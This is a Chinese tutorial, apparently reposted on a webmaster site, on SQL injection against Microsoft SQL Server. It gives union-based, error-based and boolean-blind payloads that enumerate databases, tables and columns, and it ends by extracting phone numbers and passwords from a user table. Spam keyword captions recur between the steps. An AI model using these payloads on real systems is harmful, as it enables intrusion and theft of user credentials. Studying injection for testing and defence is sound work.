加入收藏 | 设为首页 | 会员中心 | 我要投稿 92站长网 (https://www.92zz.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > MsSql教程 > 正文

mssql数据库空间 SQL注入之Mssql注入

发布时间:2022-10-13 18:30:33 所属栏目:MsSql教程 来源:网络
导读: 数据库类型判断
根据url地址的文件后缀名为aspx,初步判断为sqlserver数据库;通过and (select count(*) from sysobjects)>0判断是否为mssql数据库,如果返回正常,则证明数据库为mssql数据

数据库类型判断

根据url地址的文件后缀名为aspx,初步判断为sqlserver数据库;通过and (select count(*) from sysobjects)>0判断是否为mssql数据库,如果返回正常,则证明数据库为mssql数据库

mssql数据库关键的三张系统表

sysdatabases、sysobjects、syscolumns

表释义

sysobjects

SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束 、默认值、日志、规则、存储过程等,每个对象在表中占一行。

syscolumns

该表位于每个数据库中。

sysdatabases

该表保存在master数据库中,这个表中保存的是所有的库名,以及库的ID,和一些相关信息

sysobjects系统表的字段名和相关说明:

Name

对象名

id

对象id

xtype

对象类型

uid

所有者对象的用户id

status

对象状态

当xtype= 'U' and status>0代表是用户建立的表,对象名就是表名,对象ID就是表的ID值。

Mssql需要掌握的几种函数 函数释义

host_name()

返回服务器端计算机的名称

Current_user

返回当前数据库的用户

db_name ()

返回当前数据库的名

CHAR()

将ASCII 码转换为字符,如果没有输入0 ~ 255 之间的ASCII 码值,CHAR()返回 NULL

Object_id()

返回数据库表名,通常用于16进制或SQL编码的转换

col_name ( table_id , column_id )

返回指定表中指定字段

Substring()

返回子字符串,例:substring(“123456” ,1,3)返回“123”

Cast()

将某种数据类型的表达式显式转换为另一种数据类型

Mssql注入基本流程

获取数据库名称------获取数据库中表名称------获取数据库关键表中的列名称------获取数据库关键表中的关键字段的内容

Mssql注入payload

枚举数据库名信息

select name from master..sysdatabases

免费mssql数据库空间_mssql数据库空间_数据黑名单库他再次告诫我们什么

获取当前数据库名称

select db_name

mssql数据库空间_免费mssql数据库空间_数据黑名单库他再次告诫我们什么

获取数据库中的表名信息。

select name from jiaofan..sysobjects where xtype='U'

sysobjects中存放着数据库中所有表名信息包括系统表mssql数据库空间,xtype='U' U是指用户表

mssql数据库空间_免费mssql数据库空间_数据黑名单库他再次告诫我们什么

获取关键表中的列名信息。

select name from jiaofan..syscolumns where id=(select id from jiaofan..sysobjects where name='sl_user');

mssql数据库空间_数据黑名单库他再次告诫我们什么_免费mssql数据库空间

联合查询

语句构造步骤

判断原有查询语句的列数---使原有查询语句的结果为空---判断数据输出位置---使用union拼接目标数据的查询语句

在MSSQL中依旧可以使用order by 来判断查询语句的列数。如下图所示,?id=1 order by 13 返回正常页面,?id=1 order by 13返回错误提示超出了选择列表中项数的范围,因此可以确定列数为13

mssql数据库空间_数据黑名单库他再次告诫我们什么_免费mssql数据库空间

数据黑名单库他再次告诫我们什么_mssql数据库空间_免费mssql数据库空间

使用联合查询union获取关键数据,首先需要判断回显位置,必须遵循的两个必要条件,查询的列数相同,为13列;数据类型要相似,位置10需要为字符串可用null代替。 order by 查看列数时,有些会爆出哪些列是字符串, 例: order by 10 为字符串

mssql数据库空间_免费mssql数据库空间_数据黑名单库他再次告诫我们什么

提交后提示”text 数据类型不能选为 DISTINCT,因为它不可比”的错误,产生这一错误的原因是union 语句合并查询时是默认去除重复项的,也就是默认执行了distinct操作。 因此需要将union 改为 union all 不去除重复项,就能够解决这个报错。一般到这里之后就可以直接接着 往下获取数据库了, 但是这里的环境有报错了,说明查询出来的时候,还存在数据类型不匹配,继续从头替换 为 null ,直到不报错为止。最终确定为3,4,6,7,10,11为字符 , 1,2,5,8,9,12,13为数字型

mssql数据库空间_数据黑名单库他再次告诫我们什么_免费mssql数据库空间

数据黑名单库他再次告诫我们什么_mssql数据库空间_免费mssql数据库空间

枚举数据库名: id=1 union all select 1,2,name,null,5,null,null,8,9,null,null,12,13 from master..sysdatabases,在返回包中回显了所有的数据库名。

数据黑名单库他再次告诫我们什么_免费mssql数据库空间_mssql数据库空间

获取当前数据库名称:?id=1 union all select 1,2,null,null,5,null,null,8,9,db_name(),null,12,13 ,在返回包中得到当前的数据库名称为jiaofan

mssql数据库空间_数据黑名单库他再次告诫我们什么_免费mssql数据库空间

获取关键数据库中的表名信息:id=1 union all select 1,2,name,null,5,null,null,8,9,null,null,12,13 from jiaofan..sysobjects where xtype=0x5500 (十六进制sql_en格式),返回的是所有表,在返回包中得到关键的表名 sl_user。

免费mssql数据库空间_数据黑名单库他再次告诫我们什么_mssql数据库空间

获取关键表中的列名信息:id=1 union all select 1,2,name,null,5,null,null,8,9,null,null,12,13 from jiaofan..syscolumns where id=(select id from jiaofan..sysobjects where name=0x73006C005F007500730065007200)(十六进制sql_en格式),在返回包中得到sl_user表中的列名信 息,id,dtime,mima , youxiang , shouji , touxiang , qq , zuocheng

数据黑名单库他再次告诫我们什么_免费mssql数据库空间_mssql数据库空间

获取关键字段中的数据: id=1 union all select 1,2,shouji,null,5,null,null,8,9,mima,null,12,13 from sl_user 在返回包中得到所有的手机号和密码。

mssql数据库空间_数据黑名单库他再次告诫我们什么_免费mssql数据库空间

报错注入

构造报错注入语句的步骤

构造报错注入语句---拼接报错注入语句

常见报错注入方式:mssql数据库对我们输入的语句进行查询的时候,通过int数据类型转换出错,回显出我们需要的结果

报错注入的payload

判断数据库版本信息:and 1=(select @@version)

mssql数据库空间_免费mssql数据库空间_数据黑名单库他再次告诫我们什么

获取当前数据库用户:and 1=(select current_user)

mssql数据库空间_免费mssql数据库空间_数据黑名单库他再次告诫我们什么

获取数据库名信息:and 1=(select top 1 name from master..sysdatabases where name not in(select top 0 name from master..sysdatabases))

免费mssql数据库空间_mssql数据库空间_数据黑名单库他再次告诫我们什么

获取当前数据库名信息:and 1=(select db_name())

免费mssql数据库空间_mssql数据库空间_数据黑名单库他再次告诫我们什么

获取关键数据库中的表名信息,不断更改后面语句的top数字获取表名:and 1=(select top 1 name from jiaofan..sysobjects where xtype='U' and name not in (select top 2 name from jiaofan..sysobjects where xtype='U'))

免费mssql数据库空间_mssql数据库空间_数据黑名单库他再次告诫我们什么

获取关键表名中的列名信息:不断更改后面语句的 top 数字获取列名第一个为0:

and 1=(select top 1 name from jiaofan..syscolumns where id=(select id from jiaofan..sysobjects where name='sl_user') and name not in (select top 2 name from jiaofan..syscolumns where id=(select id from jiaofan..sysobjects where name=’sl_user’)))

免费mssql数据库空间_数据黑名单库他再次告诫我们什么_mssql数据库空间

注: 此处的sl_name可能需要进行16进制编码处理,而且最好使用的是SQL_En的方式

获取关键表中的关键字段的值:and 1=(select top 1 mima from sl_user where mima not in (select top 0 mima from sl_user))

免费mssql数据库空间_mssql数据库空间_数据黑名单库他再次告诫我们什么

布尔型盲注

使用布尔型盲注提取数据的基本步骤

构造目标数据查询语句—选择拼接方式—构造判断表达式—提取数据长度—提取数据内容

常用拼接方式

判断原始条件真,可利用and进行拼接注入语句,如果使用or 则需要是前面的查询语句为假。

获取当前数据库字符长度为

id=1 and (select len(db_name()))=3

id=1 and len((select db_name()))=7

免费mssql数据库空间_数据黑名单库他再次告诫我们什么_mssql数据库空间

数据黑名单库他再次告诫我们什么_mssql数据库空间_免费mssql数据库空间

页面没有报错,说明当前数据库字符长度为7

获取当前数据库字符

id=1 and substring((select db_name()),1,1)=char(97)

免费mssql数据库空间_数据黑名单库他再次告诫我们什么_mssql数据库空间

mssql数据库空间_免费mssql数据库空间_数据黑名单库他再次告诫我们什么

页面正常显示,说明数据库第一个字符的ascii值为106,以此方式获取数据库名

获取所有数据库

id=1 and len((select top 1 name from master..sysdatabases where name not in(select top 0 name from master..sysdatabases)))=6

数据黑名单库他再次告诫我们什么_免费mssql数据库空间_mssql数据库空间

页面正常显示,说明数据库名的长度为6

注:

select top 1 name from jiaofan..syscolumns where id=(select id from jiaofan..sysobjects where name=0x73006C005F007500730065007200

将上面这段语句转为两表联合查询,为方便起见,将jiaofan..syscolumns起另外的名字为c,同样将jiaofan..sysobjects起另外的名字为o,则语句变为:

select c.name from jiaofan..syscolumns c,jiaofan..sysobjects o where c.id=o.id and o.name=0x73006C005F007500730065007200

(编辑:92站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!